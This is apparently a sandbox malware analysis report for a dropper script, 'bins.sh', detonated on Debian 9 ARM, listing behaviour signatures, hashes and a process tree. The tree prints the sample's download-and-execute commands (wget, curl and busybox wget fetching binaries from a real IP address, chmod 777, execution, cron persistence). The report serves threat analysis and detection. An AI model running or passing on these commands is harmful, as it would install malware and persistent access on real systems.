Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

7

bins.sh

debian-9-mips

1

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    159s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/01/2025, 04:32

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250128-e5yctaxlcx
  • SHA256 49bf0d39e438cbcf8b2e5154905d635aaf8aef7a6ab5e2c7e489b716a512dfa7
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:636
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:638
      • /usr/bin/wget
        wget http://94.154.35.94/bins/Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
        2⤵
        • Writes file to tmp directory
        PID:640
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:663
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
        2⤵
        • Writes file to tmp directory
        PID:668
      • /bin/chmod
        chmod 777 Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
        2⤵
        • File and Directory Permissions Modification
        PID:674
      • /tmp/Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
        ./Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:675
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:677
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:679
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:680
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:682
            • /bin/rm
              rm Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
              2⤵
                PID:693
              • /usr/bin/wget
                wget http://94.154.35.94/bins/yEJbHWEYp4FIfHcH9nGq5iQw9UEe8l3N5S
                2⤵
                  PID:696

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
                    • Path /tmp/Swq0aJSp0kONxK2oKTuwnLIkxoEZ7Fib4J
                    • Size 177KB
                    • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    tmp.F2g4wm
                    • Path /var/spool/cron/crontabs/tmp.F2g4wm
                    • Size 210B
                    • SHA256 c6b4139e2942c075ab667a59b14b10d10ef6d7625b59c7ef6385d90495300425
                    • MD5 SHA1 SHA512
                    Submit Download